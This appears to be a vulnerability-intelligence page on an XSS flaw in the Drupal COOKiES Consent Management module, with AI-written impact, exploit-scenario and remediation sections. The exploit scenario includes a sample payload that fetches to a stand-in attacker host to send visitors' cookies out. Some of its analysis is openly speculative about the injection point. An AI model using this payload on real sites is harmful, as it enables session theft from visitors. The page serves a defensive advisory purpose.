Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS v3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L) indicates severe real-world risk: the attack requires only network access, low complexity, no privileges, and no user interaction. The high confidentiality impact combined with integrity and availability impacts suggests attackers can steal session tokens, redirect users, modify page content, or execute credential-harvesting attacks. The absence of user interaction (UI:N) is particularly concerning for a cookie consent module—attackers do not need victims to click anything. While specific EPSS and KEV status data was not provided in the query, the combination of (1) high CVSS, (2) network accessibility, (3) zero authentication/interaction requirements, and (3) the ubiquity of Drupal installations using consent management makes this a critical priority. The attack surface is broad: any unauthenticated user visiting a site using vulnerable versions can trigger XSS. This is not a case of high CVSS but low real-world risk; the technical parameters align with genuine exploitability. |
| Exploit ScenarioDerived | An attacker identifies a Drupal site running COOKiES Consent Management version < 1.2.15. They craft a malicious URL or modify a configuration value (depending on the injection point) to inject JavaScript into the consent banner. For example, if the module reflects user input into the banner's HTML without escaping, an attacker could inject: <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. When any visitor loads the page, the banner renders, the injected script executes in their browser context, and their session cookies are exfiltrated to the attacker's server. Alternatively, the attacker could inject a keylogger, redirect users to a phishing page, or modify the banner's appearance to trick users into clicking malicious links. Because the attack requires no authentication or user interaction (AV:N, PR:N, UI:N), the attacker can target any unauthenticated visitor immediately. If a public exploit (POC) exists, the attack becomes trivial to automate and deploy at scale. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 14, 2026
Cross-Site Scripting (XSS) vulnerability in Drupal's COOKiES Consent Management module that allows unauthenticated remote attackers to inject and execute malicious scripts during web page generation. All versions from 0.0.0 before 1.2.15 are affected. The vulnerability has a high CVSS score of 8.6 with no authentication or user interaction required, enabling attackers to compromise confidentiality, modify page content, and degrade availability. The network-based attack vector and low complexity indicate this is likely actively exploitable in real-world deployments.
RemediationAI
Immediate Patch: Upgrade Drupal COOKiES Consent Management module to version 1.2.15 or later; priority: CRITICAL; method: Use Drupal's module update system (Manage > Extend > Update or via Composer: composer update drupal/cookies_consent_management) Verification: After patching, verify the module version: drush pm-info cookies_consent_management or check /admin/modules; priority: HIGH Interim Mitigation (if patching delayed): Disable the COOKiES Consent Management module temporarily via /admin/modules if the delay in patching is necessary; this removes the attack surface entirely; priority: MEDIUM Input Validation Review: If operating a custom fork or extension, audit all cookie policy text, consent message fields, and configuration parameters to ensure they are properly sanitized using Drupal's sanitizer functions (e.g., Xss::filter(), htmlspecialchars() with ENT_QUOTES, or Drupal's render array #plain_text property); priority: HIGH WAF/Content Security Policy: Implement or strengthen Content Security Policy (CSP) headers to restrict inline script execution and limit XSS blast radius, even if exploitation occurs; priority: MEDIUM
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the Drupal COOKiES Consent Management module (CPE: cpe:2.3:a:drupal:cookies_consent_management:*), which is a web-based cookie consent banner and management solution for Drupal-based websites. The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic XSS vulnerability where user-controlled input or configuration data is rendered into HTML/JavaScript without proper sanitization or output encoding. In the context of a cookie consent management tool, this likely involves inadequate escaping of cookie policy text, consent messages, or configuration parameters that are reflected in the dynamically generated consent banner. The module operates within Drupal's rendering pipeline, where content should be properly sanitized using Drupal's XHTML filter or equivalent functions before output. The failure to do so allows attackers to bypass the cookie consent interface entirely and inject arbitrary client-side code.
Know when Cookies Consent Management gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal COOKiES Consent Management allows Cross-Site Scripting (XSS).This issue affects COOKiES Consent Management: from 0.0.0 before 1.2.15.
Executive ViewAI
A cross-site scripting (XSS) vulnerability in Drupal's COOKiES Consent Management module allows attackers to inject malicious scripts that could compromise user sessions, steal credentials, or redirect visitors to malicious sites. Organizations running affected versions (below 1.2.15) face immediate risk of data theft and reputational damage, particularly if the module is publicly accessible.
Disable the COOKiES Consent Management module if operationally feasible; deploy Web Application Firewall (WAF) rules to filter XSS attack patterns; implement Content Security Policy (CSP) headers to restrict script execution; restrict module access to authenticated administrators only; enable detailed logging and monitoring of consent form submissions for suspicious activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Cookies Consent Management
View allStored/Reflected Cross-Site Scripting (XSS) vulnerability in Drupal's COOKiES Consent Management module (versions before
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal COOKiES Con
EUVD-2025-18288
NVD
CVE.org
EPSS
GitHub PoC
Exploit-DB